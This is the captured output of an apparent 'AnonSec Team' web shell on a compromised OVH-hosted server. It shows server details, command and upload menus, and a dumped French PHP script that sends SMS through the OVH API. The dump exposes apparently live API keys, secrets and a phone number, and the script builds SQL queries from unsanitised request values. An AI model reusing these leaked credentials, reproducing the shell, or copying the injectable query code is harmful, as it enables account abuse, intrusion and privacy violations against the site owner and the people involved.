AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.217.20
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TMCPRO/pages/python/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TMCPRO/pages/python/../send_message_sous_tache.php
<?php

//require __DIR__ . '/vendor/autoload.php';
//use \Ovh\Sms\SmsApi;

	
	
	
	

require  __DIR__  .  '/vendor/autoload.php' ; 
use \Ovh\Api;




// error_reporting(E_ALL);
// ini_set('display_errors', 1);

// if($_POST["sms_sal_erreur"]== 1 OR $_POST["sms_sal_erreur"]== 2)
		// {
			
			// echo "tttt <br/>" ; 
		// }
// echo "<pre>" ; 
// print_r($_POST) ; 
// echo "<pre>" ; 
// exit() ; 

$_POST["txtMessage"] =  "MC PRO - IMPORTANT : Bonjour, vous ne saisissez pas votre matricule correctement lors de vos pointages, votre matricule est le 0".$_POST['salarie_id']." Pour vos prochains pointages merci de saisir les bons chiffres afin que nous puissions vous identifier. MESSAGE AUTOMATIQUE - NE PAS REPONDRE" ; 						
	
// echo "==>".$_POST["txtMessage"]."<br/>" ; 
// if($_POST["sms_sal_erreur"]== 1 OR $_POST["sms_sal_erreur"]== 2)
		// {
			
			// echo "ssssss <br/>" ; 
		// }
// echo "ttt<br/>" ; 
// exit() ;
session_start();
// echo "<pre>" ; 	 
// print_r($_SESSION);
// echo "</pre>" ; 
	$tache_id =  $_SESSION["rowid"] ; 
	
	// echo "===> $tache_id  <br/>" ; 
	// exit() ; 

ini_set('display_errors','on');
error_reporting(E_ALL);


    
    $applicationKey = "3QTamGrntZTeBlul";
    $applicationSecret = "HgWWtMzq2qQeNcFhmEOBZ2Xp4DBDhImR";
    $consumer_key = "V7NIDRFOQtfLn4c1D1ieT187WBdyyuJE";
    $endpoint = 'ovh-eu';


$conn  =  new  Api ($applicationKey , 
                    $applicationSecret , 
                    $endpoint , 
                    $consumer_key );
//
$smsServices  =  $conn ->get('/sms/' ); 



      // list($_POST["txtPhone"]) = dbi_fetch_row(dbi_query("SELECT salarie_tele1 FROM `salarie` WHERE `salarie_id` = ".$_POST['salarie_id'])) ; 
	  
	
	  // $_POST["txtPhone"] = substr($_POST["txtPhone"], -9); 
	  // $_POST["txtPhone"]= "0033".$_POST["txtPhone"] ; 
	 
// $rest = substr("kbcdef", 0, 4); 
// echo "$rest  <br/>" ; 
// exit() ; 
    // $receivers       = $_POST["phone"] ; 
	$message        =   htmlspecialchars("URGENT ".$_POST["client_nom"]." ".substr($_POST["sous_tache_designation"],0, 70));
	
	// echo "==>".$message."<br/>" ;
	// exit() ; 
	$receivers       = "0033607599151" ; 
	// $message        =   "test" ; 
    
	if($_POST['sms']==1)
	{
    
	// echo "nnn" ; 
    // exit(); 
$content    =   (object) array(
                            "charset"           =>  "UTF-8",
                            "class"             =>  "phoneDisplay",
                            "coding"            =>  "7bit",
                            "message"           =>  $message,
                            "noStopClause"      =>  false,
                            "priority"          =>  "high",
                            "receivers"         =>  [$receivers],
                            "senderForResponse" =>  true,
                            "validityPeriod"    => 2880
                            );
 
    $resultPostJob  =  $conn->post('/sms/'.$smsServices[0].'/jobs',$content);
	
	}
	else
	{
		 $resultPostJob['validReceivers'] = "Z" ; 
	}
 
  
    if(!empty($resultPostJob['validReceivers'])){
      
			// echo "aaa <br>" ; 
		include 'includes/config_tmcpro.php' ;
           include 'includes/stable_functions_tmcpro.php' ;
	
			
		// $sms_contenu = $_POST['txtMessage'] ; 
		$date_avertissement = date("Ymd"); 
		// $presta_id = $_POST['presta_id'] ; 
		$type_avertissement  = $_POST['sms_sal_erreur'] ; 
		// il resrte que le salarié id ; 
			// INSERT INTO `sms_salarie_avertissement` (`id`, `salarie_id`, `sms_contenu`, `date_avertissement`, `presta_id`, `type_avertissement`) VALUES ('', '23543', 'hgfdfhghgfd', '123454', '4343', '2');
			
			$salarie_id = $_POST['salarie_id'] ; 
			// $sms_sal_erreur = $_POST['sms_sal_erreur'] ; 
			$presta_id = $_POST['presta_id'] ; 
			$sms_contenu = addslashes($_POST['txtMessage']) ; 
			// $salarie_id = $_POST['salarie_id'] ; 
			// $qo =dbi_query("SELECT *  FROM `telepointage` WHERE `client_id` IS NULL") ; 
			
			
			
			
			
			
			
			
			
			
			$date_heure_creation = date('d-m-Y h:i:s', time()); 
			$sous_tache_designation = addslashes ($_POST['sous_tache_designation']) ; 
		    $sous_tache_date_fin = $_POST['sous_tache_date_fin'];
			$PRIORITAIRE = $_POST['PRIORITAIRE'];
			
			$user_id = $_POST['user_id'];
			// $sous_tache_status = $_POST['sous_tache_status'][$index];
			$sous_tache_id = $_POST['sous_tache_id'][$index];
			$sous_tache_status  =  $_POST['sous_tache_status'];
			$user_id_creation = $_SESSION['MCPRO']['login']['4'] ; 
			
$today_p = date('Ymd');
	 dbi_query(" INSERT INTO  sous_tache (tache_id,sous_tache_designation, sous_tache_date_fin,user_id, sous_tache_status,actif,date_creation,user_id_creation,date_heure_creation,PRIORITAIRE)
				 VALUES  ('$tache_id','$sous_tache_designation','$sous_tache_date_fin','$user_id','$sous_tache_status','1','$today_p','$user_id_creation','$date_heure_creation','$PRIORITAIRE')") ;
				 // echo " INSERT INTO  sous_tache (tache_id,sous_tache_designation, sous_tache_date_fin,user_id, sous_tache_status,actif)
				 // VALUES  ('$tache_id','$sous_tache_designation','$sous_tache_date_fin','$user_id','$sous_tache_status','1')"; 
				 // exit() ; 
				 // header('Location:../fetch_record.php?msg= <strong> Bien : </strong> sous tache bien ajouté&#233;&color=success');
				 header('Location:../fetch_record.php?msg= <strong> Bien : </strong> sous tache bien ajouté&color=success');
			 exit() ;
			
			
			
			
			
			
			// dbi_query("INSERT INTO sms_salarie_avertissement (id, salarie_id, sms_contenu, date_avertissement, presta_id, type_avertissement) VALUES ('', '$salarie_id', '$sms_contenu', '$date_avertissement', '$presta_id', '3')") ; 
			// header("Location: ../fetch_record.php");
			
		
    }else{
        echo '<h3 style="color:red;font-weight:bold;font-size:1.3em; border:solid 1px red; padding:5px;">Something is Wrong. Please check your API Settings or Sent Data</h3>';
    }


echo '<button onclick="goBack()">Go Back</button>';


?>



<script>
function goBack() {
  window.history.back();
}
</script>

AnonSec - 2021